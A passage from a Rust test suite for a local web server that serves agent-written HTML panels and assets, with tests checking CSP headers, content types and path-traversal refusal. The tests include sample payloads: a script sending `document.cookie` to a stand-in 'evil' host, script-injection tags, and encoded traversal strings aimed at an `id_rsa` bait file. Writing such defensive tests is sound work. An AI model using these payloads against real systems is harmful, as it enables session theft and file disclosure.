10763        }
10764    }
10765
10766    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
10767    /// be read to end-of-stream without parsing framing.
10768    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10769        request_with(addr, method, path, body, &[]).await
10770    }
10771
10772    /// As [`request`], with extra request headers - conditional GETs need
10773    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
10774    /// worse than one that sets none.
10775    async fn request_with(
10776        addr: SocketAddr,
10777        method: &str,
10778        path: &str,
10779        body: Option<&str>,
10780        extra: &[(&str, &str)],
10781    ) -> Res {
10782        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10783        for (name, value) in extra {
10784            head.push_str(&format!("{name}: {value}\r\n"));
10785        }
10786        if let Some(body) = body {
10787            head.push_str("Content-Type: application/json\r\n");
10788            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10789        }
10790        head.push_str("\r\n");
10791        if let Some(body) = body {
10792            head.push_str(body);
10793        }
10794        let mut socket = tokio::net::TcpStream::connect(addr)
10795            .await
10796            .expect("connect to the test server");
10797        socket
10798            .write_all(head.as_bytes())
10799            .await
10800            .expect("write request");
10801        let mut raw = Vec::new();
10802        socket.read_to_end(&mut raw).await.expect("read response");
10803        // Split on the raw bytes rather than on a lossy string, so a binary
10804        // body survives to be compared byte for byte.
10805        let split = raw
10806            .windows(4)
10807            .position(|w| w == b"\r\n\r\n")
10808            .expect("a header block");
10809        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10810        let bytes = raw[split + 4..].to_vec();
10811        let status = head
10812            .lines()
10813            .next()
10814            .and_then(|line| line.split_whitespace().nth(1))
10815            .and_then(|code| code.parse().ok())
10816            .expect("a status line");
10817        Res {
10818            status,
10819            headers: head.to_lowercase(),
10820            head,
10821            body: String::from_utf8_lossy(&bytes).into_owned(),
10822            bytes,
10823        }
10824    }
10825
10826    /// A `POST` carrying a raw binary body and its own headers, for the
10827    /// attachment upload route - `request_with` only ever sends
10828    /// `Content-Type: application/json`, which is wrong for an image and
10829    /// would corrupt anything not valid UTF-8 by round-tripping it through
10830    /// `&str` first.
10831    async fn request_bytes(
10832        addr: SocketAddr,
10833        path: &str,
10834        headers: &[(&str, &str)],
10835        body: &[u8],
10836    ) -> Res {
10837        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10838        for (name, value) in headers {
10839            head.push_str(&format!("{name}: {value}\r\n"));
10840        }
10841        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10842        let mut socket = tokio::net::TcpStream::connect(addr)
10843            .await
10844            .expect("connect to the test server");
10845        socket
10846            .write_all(head.as_bytes())
10847            .await
10848            .expect("write request head");
10849        socket.write_all(body).await.expect("write request body");
10850        let mut raw = Vec::new();
10851        socket.read_to_end(&mut raw).await.expect("read response");
10852        let split = raw
10853            .windows(4)
10854            .position(|w| w == b"\r\n\r\n")
10855            .expect("a header block");
10856        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10857        let bytes = raw[split + 4..].to_vec();
10858        let status = head
10859            .lines()
10860            .next()
10861            .and_then(|line| line.split_whitespace().nth(1))
10862            .and_then(|code| code.parse().ok())
10863            .expect("a status line");
10864        Res {
10865            status,
10866            headers: head.to_lowercase(),
10867            head,
10868            body: String::from_utf8_lossy(&bytes).into_owned(),
10869            bytes,
10870        }
10871    }
10872
10873    /// A run on disk, without touching the process-global magi home.
10874    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10875        let mut state = RunState::new(
10876            PathBuf::from("/repo/magi"),
10877            "main".to_owned(),
10878            "0123456789abcdef".to_owned(),
10879            "Add a web UI\n\nMobile first.".to_owned(),
10880            Config::default(),
10881        );
10882        state.id = id.to_owned();
10883        state.status = status;
10884        let dir = runs.join(id);
10885        std::fs::create_dir_all(&dir).expect("run dir");
10886        std::fs::write(
10887            dir.join("run.json"),
10888            serde_json::to_string_pretty(&state).expect("serialize run"),
10889        )
10890        .expect("write run.json");
10891    }
10892
10893    /// Same as [`write_run`], but against a named repository rather than the
10894    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10895    /// spread across more than one.
10896    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10897        let mut state = RunState::new(
10898            PathBuf::from(repo),
10899            "main".to_owned(),
10900            "0123456789abcdef".to_owned(),
10901            "task".to_owned(),
10902            Config::default(),
10903        );
10904        state.id = id.to_owned();
10905        state.status = status;
10906        let dir = runs.join(id);
10907        std::fs::create_dir_all(&dir).expect("run dir");
10908        std::fs::write(
10909            dir.join("run.json"),
10910            serde_json::to_string_pretty(&state).expect("serialize run"),
10911        )
10912        .expect("write run.json");
10913    }
10914
10915    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10916        let body = serde_json::json!({
10917            "schema": 1,
10918            "pid": 4242,
10919            "started_at": Timestamp::now().to_string(),
10920            "updated_at": updated_at.to_string(),
10921            "idle": false,
10922            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10923            "completed": 7,
10924            "polls": 143,
10925        });
10926        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10927    }
10928
10929    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10930    ///
10931    /// No test in this file may start the real loop - see [`Ui::launch`] for
10932    /// why - so this stands in for the only thing the routes need a loop to
10933    /// do: keep running until `Stop` is set, then return. A real
10934    /// `serve_until` here would resolve its queue and its status file through
10935    /// the process-global magi home, claim whatever it found in the
10936    /// operator's live backlog, overwrite the status file of the `magi serve`
10937    /// that owns it, and spend real agent quota on a real competition.
10938    fn launch_idle(
10939        _opts: daemon::Opts,
10940        stop: daemon::Stop,
10941    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10942        Box::pin(async move {
10943            while !stop.stopped() {
10944                tokio::time::sleep(Duration::from_millis(2)).await;
10945            }
10946            Ok(())
10947        })
10948    }
10949
10950    /// A loop that fails on the way up, the way one whose home has gone
10951    /// read-only does.
10952    fn launch_broken(
10953        _opts: daemon::Opts,
10954        _stop: daemon::Stop,
10955    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10956        // The stand-in dies instantly, so a restarted one can record its own
10957        // failure before the start's response is read. The second attempt
10958        // therefore fails with a different message, to tell a stale error
10959        // from a fresh one.
10960        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10961        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10962        Box::pin(async move {
10963            Err(anyhow::anyhow!(if first {
10964                "publish the daemon status file: read-only file system"
10965            } else {
10966                "the restarted stand-in failed as well"
10967            }))
10968        })
10969    }
10970
10971    /// The address the parking loop knocks on, and what it heard there.
10972    ///
10973    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
10974    /// capture a fixture's address; this is how it is handed one. Only
10975    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
10976    /// these, so nothing else in this binary can race them.
10977    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10978    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10979
10980    /// A loop that, once it is asked to stop, checks the deck still answers
10981    /// before it goes.
10982    ///
10983    /// It stands in for a run mid-node: `finish_loop` waits for this future,
10984    /// so the request it makes is strictly inside the park window - no sleep
10985    /// and no polling needed to be sure of that.
10986    fn launch_knocking_on_the_way_out(
10987        _opts: daemon::Opts,
10988        stop: daemon::Stop,
10989    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10990        Box::pin(async move {
10991            while !stop.stopped() {
10992                tokio::time::sleep(Duration::from_millis(2)).await;
10993            }
10994            let addr = PARK_KNOCK
10995                .lock()
10996                .expect("park knock")
10997                .expect("the test set an address");
10998            let heard = request(addr, "GET", "/api/health", None).await.status;
10999            *PARK_HEARD.lock().expect("park heard") = Some(heard);
11000            Ok(())
11001        })
11002    }
11003
11004    /// The loop view once `want` accepts it.
11005    ///
11006    /// Polled rather than asserted straight after the POST because stopping
11007    /// is deliberately not instant - that is the contract - and rather than
11008    /// slept through because a fixed wait is either flaky or slow.
11009    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11010    /// finite, so a genuine hang fails the test instead of hanging the
11011    /// suite.
11012    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11013        for _ in 0..SETTLE_STEPS {
11014            let view = fx.get("/api/loop").await.json();
11015            if want(&view) {
11016                return view;
11017            }
11018            tokio::time::sleep(Duration::from_millis(10)).await;
11019        }
11020        panic!(
11021            "the loop never settled: {}",
11022            fx.get("/api/loop").await.json()
11023        );
11024    }
11025
11026    /// File an open question directly in the store the server reads.
11027    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11028        let store = fx.questions();
11029        let mut q = Question::new(
11030            "20260902-000000-beef".to_owned(),
11031            "implement".to_owned(),
11032            "impl-A".to_owned(),
11033            summary.to_owned(),
11034            "because it matters".to_owned(),
11035            choices.iter().map(|c| (*c).to_owned()).collect(),
11036        );
11037        store.put(&mut q).expect("put question");
11038        q.id
11039    }
11040
11041    /// A question with a panel the server can serve, plus the named assets.
11042    ///
11043    /// Written through `Questions::put_panel` rather than by laying out the
11044    /// directory here, so these tests exercise the same on-disk shape the
11045    /// agents produce and cannot pass against a layout only the tests know.
11046    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11047        let store = fx.questions();
11048        let mut q = Question::new(
11049            "20260902-000000-beef".to_owned(),
11050            "land".to_owned(),
11051            "fix".to_owned(),
11052            "Merge this?".to_owned(),
11053            "the diff is in the panel".to_owned(),
11054            vec!["merge".to_owned(), "hold".to_owned()],
11055        );
11056        // Staged outside the questions root, because `put_panel` copies from
11057        // wherever the agent left its files.
11058        let staging = fx.home.path().join("staging");
11059        std::fs::create_dir_all(&staging).expect("staging dir");
11060        let sources: Vec<PathBuf> = assets
11061            .iter()
11062            .map(|(name, bytes)| {
11063                let path = staging.join(name);
11064                std::fs::write(&path, bytes).expect("write staged asset");
11065                path
11066            })
11067            .collect();
11068        store
11069            .put_panel(&mut q, html, &sources)
11070            .expect("write the panel");
11071        store.put(&mut q).expect("put question");
11072        q.id
11073    }
11074
11075    /// A talk on disk, without talking to a model.
11076    ///
11077    /// Written as JSON straight into the store the server reads, because the
11078    /// only constructor `talk::begin` offers takes no turn but still requires
11079    /// a real caller-visible flow. The one thing this cannot make up is the
11080    /// seat, so it is built with the real `SeatState::new` and serialized -
11081    /// the alternative, hand-writing that object, would make these tests fail
11082    /// the day the seat gains a field.
11083    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11084        seed_talk_at(&fx.talks(), id, status)
11085    }
11086
11087    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11088        std::fs::create_dir_all(store.root()).expect("talks dir");
11089        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11090            .expect("serialize a seat");
11091        let body = serde_json::json!({
11092            "schema": 1,
11093            "id": id,
11094            "repo": "/repo/magi",
11095            "agent": "mock",
11096            "status": status,
11097            "turns": [],
11098            "created_at": Timestamp::now().to_string(),
11099            "updated_at": Timestamp::now().to_string(),
11100            "seat": seat,
11101        });
11102        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11103        store.get(id).expect("the seeded talk has to be readable");
11104        id.to_owned()
11105    }
11106
11107    #[tokio::test]
11108    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11109        let fx = Fixture::start().await;
11110        let id = panel(
11111            &fx,
11112            "<h1>Merge?</h1><img src=\"diff.svg\">",
11113            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11114        );
11115
11116        for path in [
11117            format!("/api/questions/{id}/panel"),
11118            format!("/api/questions/{id}/asset/diff.svg"),
11119        ] {
11120            let res = fx.get(&path).await;
11121            assert_eq!(res.status, 200, "{path}: {}", res.body);
11122            // The whole string, not a substring. A weakened directive - an
11123            // `img-src *` that lets a panel beacon out to a remote host, a
11124            // `script-src` anything, a missing `form-action` that lets it post
11125            // the owner's decision to a third party - has to fail here, and a
11126            // `contains` assertion would let every one of those through.
11127            assert_eq!(
11128                res.header("content-security-policy"),
11129                Some(
11130                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11131                     font-src data:; base-uri 'none'; form-action 'none'; \
11132                     frame-ancestors 'self'"
11133                ),
11134                "{path} is the only thing between a hostile panel and the tailnet"
11135            );
11136            assert_eq!(
11137                res.header("x-content-type-options"),
11138                Some("nosniff"),
11139                "{path}: a browser must not re-decide the type we sent"
11140            );
11141            assert_eq!(
11142                res.header("referrer-policy"),
11143                Some("no-referrer"),
11144                "{path}: a panel must not leak the question id off the machine"
11145            );
11146
11147            // The front end mounts the frame only after a `HEAD` says the
11148            // panel is there, so `HEAD` has to answer with the same status and
11149            // the same policy as `GET` - a preflight that came back without
11150            // the CSP would mean a frame mounted on an unverified promise.
11151            let pre = fx.head(&path).await;
11152            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11153            assert_eq!(
11154                pre.header("content-security-policy"),
11155                res.header("content-security-policy"),
11156                "{path}: the preflight carries the same policy"
11157            );
11158            assert_eq!(
11159                pre.header("content-type"),
11160                res.header("content-type"),
11161                "{path}: the preflight carries the same type"
11162            );
11163        }
11164    }
11165
11166    #[tokio::test]
11167    async fn a_panel_reaches_the_browser_byte_for_byte() {
11168        let fx = Fixture::start().await;
11169        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11170        // tag, an entity, and a multi-byte character. The sandbox is what makes
11171        // this safe, so nothing here may be rewritten on the way out - a
11172        // rewritten diff is a diff the owner cannot trust.
11173        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11174        let id = panel(&fx, html, &[]);
11175
11176        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11177
11178        assert_eq!(res.status, 200);
11179        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11180        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11181        assert_eq!(
11182            res.header("content-disposition"),
11183            None,
11184            "the panel itself is rendered in the frame, not downloaded"
11185        );
11186    }
11187
11188    #[tokio::test]
11189    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11190        let fx = Fixture::start().await;
11191        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11192        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11193        let id = panel(
11194            &fx,
11195            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11196            &[("diff.svg", svg), ("shot.png", png)],
11197        );
11198
11199        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11200        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11201
11202        assert_eq!(as_svg.status, 200);
11203        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11204        // An SVG is XML that may carry script. Inside the panel it is an
11205        // `<img src>` and the script cannot run; opened at the top level it
11206        // would be a document on magi's own origin, so the browser is told to
11207        // download it instead of rendering it.
11208        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11209
11210        assert_eq!(as_png.status, 200);
11211        assert_eq!(as_png.header("content-type"), Some("image/png"));
11212        assert_eq!(
11213            as_png.header("content-disposition"),
11214            None,
11215            "a raster image has no execution surface, so tapping it still shows it"
11216        );
11217        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11218    }
11219
11220    #[tokio::test]
11221    async fn an_html_asset_is_never_served_as_html() {
11222        let fx = Fixture::start().await;
11223        let id = panel(
11224            &fx,
11225            "<p>see the notes</p>",
11226            &[
11227                (
11228                    "notes.html",
11229                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11230                ),
11231                ("hook.js", b"fetch('http://evil/')"),
11232                ("data.json", b"{}"),
11233                ("HEADLINE.TXT", b"plain"),
11234            ],
11235        );
11236
11237        for name in ["notes.html", "hook.js", "data.json"] {
11238            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11239            assert_eq!(res.status, 200, "{name}: {}", res.body);
11240            // Serving this as text/html would be a way to reach agent markup
11241            // at the top level of the operator's browser, outside the frame's
11242            // sandbox and outside its CSP - which is the whole thing the panel
11243            // design exists to prevent. Unlisted types are downloads.
11244            assert_eq!(
11245                res.header("content-type"),
11246                Some("application/octet-stream"),
11247                "{name} must not be a type the browser will execute or render"
11248            );
11249        }
11250        // The whitelist is matched case-insensitively, so an agent shouting the
11251        // extension still gets a readable file rather than a download.
11252        let txt = fx
11253            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11254            .await;
11255        assert_eq!(
11256            txt.header("content-type"),
11257            Some("text/plain; charset=utf-8")
11258        );
11259    }
11260
11261    #[tokio::test]
11262    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11263        let fx = Fixture::start().await;
11264        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11265        // Something outside the panel directory that a traversal would reach if
11266        // one got through, so a passing test is not merely "the file was
11267        // missing anyway".
11268        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11269
11270        // Decoded before this server's handler sees them: axum percent-decodes
11271        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11272        // string with a NUL in it. All three look like ordinary single-segment
11273        // filenames to the router, so the router passes them through and
11274        // `valid_asset_name` is what refuses them - for the literal `..`, and
11275        // for `/`, `\` and NUL not being in the permitted character set.
11276        for encoded in [
11277            "%2e%2e%2fid_rsa",
11278            "..%2fid_rsa",
11279            "..%5cid_rsa",
11280            "%2e%2e%5cid_rsa",
11281            "diff%00.svg",
11282            "..",
11283            ".hidden",
11284            "%2e%2e%2f%2e%2e%2fid_rsa",
11285        ] {
11286            let res = fx
11287                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11288                .await;
11289            assert_eq!(
11290                res.status, 400,
11291                "`{encoded}` has to be refused by name, not looked up: {}",
11292                res.body
11293            );
11294            assert!(res.json()["error"].is_string(), "{}", res.body);
11295        }
11296
11297        // Not decoded, and never this handler's problem: a real slash makes the
11298        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11299        // so axum's router has no route to match and answers before any code
11300        // here runs. Asserted so that a future route with a wildcard segment
11301        // cannot quietly open this door.
11302        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11303            let res = fx
11304                .get(&format!("/api/questions/{id}/asset/{literal}"))
11305                .await;
11306            assert_eq!(
11307                res.status, 404,
11308                "`{literal}` must not match the asset route at all: {}",
11309                res.body
11310            );
11311        }
11312    }
11313
11314    #[tokio::test]
11315    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11316        let fx = Fixture::start().await;
11317        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11318        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11319
11320        // A question nobody wrote a panel for. The client preflights with HEAD
11321        // and cannot see inside a sandboxed frame, so this must be a status and
11322        // not an empty page.
11323        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11324        assert_eq!(none.status, 404, "{}", none.body);
11325        assert!(none.json()["error"].is_string(), "{}", none.body);
11326        assert_eq!(
11327            fx.head(&format!("/api/questions/{plain}/panel"))
11328                .await
11329                .status,
11330            404,
11331            "the preflight is the only way the client can learn this"
11332        );
11333
11334        // A name that is perfectly legal and simply is not there.
11335        let missing = fx
11336            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11337            .await;
11338        assert_eq!(missing.status, 404, "{}", missing.body);
11339        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11340
11341        // A question that does not exist at all, on both routes.
11342        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11343        assert_eq!(
11344            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11345            404
11346        );
11347    }
11348
11349    #[tokio::test]
11350    async fn a_run_with_an_open_question_reads_as_waiting() {
11351        let fx = Fixture::start().await;
11352        let run = "20260902-000000-beef".to_owned();
11353        write_run(&fx.runs(), &run, RunStatus::Implementing);
11354
11355        let before = fx.get("/api/runs").await.json();
11356        assert_eq!(before[0]["waiting"], false, "{before}");
11357
11358        let store = fx.questions();
11359        let mut q = Question::new(
11360            run.clone(),
11361            "implement".to_owned(),
11362            "impl-A".to_owned(),
11363            "Which backend?".to_owned(),
11364            String::new(),
11365            vec!["SQLite".to_owned()],
11366        );
11367        store.put(&mut q).expect("put");
11368
11369        let during = fx.get("/api/runs").await.json();
11370        assert_eq!(during[0]["waiting"], true, "{during}");
11371
11372        // Answered: the run is moving again, and the flag has to follow without
11373        // anything having rewritten run.json.
11374        q.answer(Answer::Choice("SQLite".to_owned()))
11375            .expect("answer");
11376        store.put(&mut q).expect("put");
11377        let after = fx.get("/api/runs").await.json();
11378        assert_eq!(after[0]["waiting"], false, "{after}");
11379    }
11380
11381    #[tokio::test]
11382    async fn an_open_question_is_listed_and_counted_by_health() {
11383        let fx = Fixture::start().await;
11384        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11385
11386        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11387        let listed = fx.get("/api/questions").await.json();
11388        assert_eq!(listed.as_array().expect("array").len(), 1);
11389        assert_eq!(listed[0]["id"], id);
11390        assert_eq!(listed[0]["status"], "open");
11391        assert_eq!(listed[0]["choices"][1], "Redis");
11392        // The count is what makes the phone's indicator honest: it is the one
11393        // number meaning nothing will move until a human acts.
11394        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11395    }
11396
11397    fn obsolete_approval_state() -> RunState {
11398        let mut state = crate::land::tests::repair_state(true, true);
11399        state.pr = Some(crate::run::PrRecord {
11400            url: "https://github.com/example/repo/pull/42".into(),
11401            number: 42,
11402            state: "open".into(),
11403            checks: "green".into(),
11404            round: 1,
11405            rounds: 4,
11406            red_at_merge: Vec::new(),
11407        });
11408        state
11409    }
11410
11411    #[tokio::test]
11412    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11413        for owner in ["missing", "current", "completed", "later"] {
11414            let fx = Fixture {
11415                home: TempDir::new().unwrap(),
11416                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11417            };
11418            let mut state = obsolete_approval_state();
11419            state.status = RunStatus::Landing;
11420            state.parked = true;
11421            state.driver_exited = true;
11422            let mut q = Question::new(
11423                state.id.clone(),
11424                crate::land::APPROVAL_NODE.into(),
11425                "land".into(),
11426                "Old approval".into(),
11427                "Original evidence".into(),
11428                vec!["merge".into(), "hold".into()],
11429            );
11430            state.land_approval = Some(crate::run::LandApproval {
11431                question: q.id.clone(),
11432                head: "head".into(),
11433            });
11434            state.save_under(fx.home.path()).unwrap();
11435            let stale = state.clone();
11436            fx.questions().put(&mut q).unwrap();
11437            let mut task = Task::new(
11438                "Owner".into(),
11439                "Original instruction".into(),
11440                state.repo.clone(),
11441                Source::Human,
11442            );
11443            task.runs.push(state.id.clone());
11444            task.status = if owner == "completed" {
11445                TaskStatus::Done
11446            } else {
11447                TaskStatus::Parked
11448            };
11449            if owner == "later" {
11450                task.runs.push("later-run".into());
11451            }
11452            if owner != "missing" {
11453                fx.queue().put(&mut task).unwrap();
11454            }
11455            let ui = Arc::new(Ui::new(
11456                fx.queue(),
11457                fx.questions(),
11458                fx.talks(),
11459                fx.runs(),
11460                fx.home.path().into(),
11461                state.repo.clone(),
11462            ));
11463            let response = question_answer(
11464                State(ui),
11465                Path(q.id.clone()),
11466                Ok(Json(NewAnswer {
11467                    choice: Some(crate::merge_decision::DISMISS.into()),
11468                    text: None,
11469                })),
11470            )
11471            .await
11472            .unwrap();
11473            assert_eq!(
11474                response.0.question.resolution().as_deref(),
11475                Some(crate::merge_decision::DISMISS)
11476            );
11477            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11478            assert_eq!(disk.status, RunStatus::Superseded);
11479            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11480            assert!(!crate::merge_decision::resumable_hold(&disk));
11481            assert_eq!(
11482                serde_json::to_value(&disk.pr).unwrap(),
11483                serde_json::to_value(&stale.pr).unwrap()
11484            );
11485            assert_eq!(fx.questions().count_open(), 0);
11486            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11487            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11488            if owner == "missing" {
11489                assert!(fx.queue().list().is_empty());
11490            } else {
11491                let after = fx.queue().get(&task.id).unwrap();
11492                assert_eq!(
11493                    after.status,
11494                    if owner == "current" {
11495                        TaskStatus::Done
11496                    } else {
11497                        task.status
11498                    }
11499                );
11500                assert_eq!(after.runs, task.runs);
11501                assert_eq!(after.instruction, task.instruction);
11502                assert_eq!(after.action_applied(&q.id), owner == "current");
11503            }
11504        }
11505    }
11506
11507    #[tokio::test]
11508    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11509        let fx = Fixture::start().await;
11510        let mut state = obsolete_approval_state();
11511        state.status = RunStatus::Landing;
11512        state.parked = true;
11513        state.driver_exited = true;
11514        let mut q = Question::new(
11515            state.id.clone(),
11516            crate::land::APPROVAL_NODE.into(),
11517            "land".into(),
11518            "Superseded PR approval".into(),
11519            "Original review evidence".into(),
11520            vec!["merge".into(), "hold".into()],
11521        );
11522        state.land_approval = Some(crate::run::LandApproval {
11523            question: q.id.clone(),
11524            head: "old-reviewed-head".into(),
11525        });
11526        // The old persisted PR may still say open even when a separate change
11527        // already landed. Dismissal must not use that snapshot to close it.
11528        state.save_under(fx.home.path()).unwrap();
11529        let stale_driver = state.clone();
11530        fx.questions().put(&mut q).unwrap();
11531        let path = fx
11532            .home
11533            .path()
11534            .join("questions")
11535            .join(format!("{}.json", q.id));
11536        let mut legacy = serde_json::to_value(&q).unwrap();
11537        legacy["schema"] = 9.into();
11538        legacy.as_object_mut().unwrap().remove("merge_target");
11539        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11540
11541        // POST without GET tests legacy upgrade and validation at the actual
11542        // entry point, rather than constructing a modern card in the test.
11543        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11544        let answer_path = format!("/api/questions/{}/answer", q.id);
11545        let res = fx.post(&answer_path, Some(&body)).await;
11546        assert_eq!(res.status, 200, "{}", res.body);
11547        let disk = fx.questions().get(&q.id).unwrap();
11548        assert_eq!(
11549            disk.resolution().as_deref(),
11550            Some(crate::merge_decision::DISMISS)
11551        );
11552        assert!(disk.detail.starts_with("Original review evidence"));
11553        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11554        assert_eq!(retired.status, RunStatus::Superseded);
11555        assert_eq!(
11556            serde_json::to_value(&retired.pr).unwrap(),
11557            serde_json::to_value(&state.pr).unwrap()
11558        );
11559        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11560        assert!(!crate::merge_decision::resumable_hold(&retired));
11561        assert!(fx.queue().list().is_empty());
11562        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11563        // A restarted server re-reads the persisted pending list.
11564        let addr = Fixture::serve(
11565            fx.home.path(),
11566            PathBuf::from("/repo/magi"),
11567            launch_idle,
11568            None,
11569        )
11570        .await;
11571        let reconnected = Fixture {
11572            home: fx.home,
11573            addr,
11574        };
11575        let listed = reconnected.get("/api/questions").await.json();
11576        assert!(
11577            listed
11578                .as_array()
11579                .unwrap()
11580                .iter()
11581                .all(|q| q["status"] != "open")
11582        );
11583        assert_eq!(listed[0]["id"], q.id, "history remains available");
11584        assert_eq!(
11585            reconnected.get("/api/health").await.json()["questions_open"],
11586            0
11587        );
11588        assert_eq!(
11589            reconnected
11590                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11591                .await
11592                .status,
11593            409
11594        );
11595        // A late waiter cannot turn the old answer into a new decision.
11596        assert!(
11597            reconnected
11598                .questions()
11599                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11600                .is_err()
11601        );
11602        // The same guard used by claims, repair and publication rejects a
11603        // saved in-memory driver as well as the persisted terminal record.
11604        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11605    }
11606
11607    #[tokio::test]
11608    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11609        let fx = Fixture::start().await;
11610        let mut state = obsolete_approval_state();
11611        state.status = RunStatus::Landing;
11612        state.driver_exited = true;
11613        let mut q = Question::new(
11614            state.id.clone(),
11615            crate::land::APPROVAL_NODE.into(),
11616            "land".into(),
11617            "Obsolete approval".into(),
11618            String::new(),
11619            vec!["merge".into(), "hold".into()],
11620        );
11621        state.land_approval = Some(crate::run::LandApproval {
11622            question: q.id.clone(),
11623            head: "head".into(),
11624        });
11625        state.save_under(fx.home.path()).unwrap();
11626        fx.questions().put(&mut q).unwrap();
11627        let mut task = Task::new(
11628            "Owner".into(),
11629            "Original instruction".into(),
11630            state.repo.clone(),
11631            Source::Human,
11632        );
11633        task.runs = vec![state.id.clone(), "later-run".into()];
11634        fx.queue().put(&mut task).unwrap();
11635        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11636        let claim = fx.queue().claim(&task.id).unwrap();
11637        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11638        let path = format!("/api/questions/{}/answer", q.id);
11639        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11640        assert!(fx.questions().get(&q.id).unwrap().status.open());
11641        drop(claim);
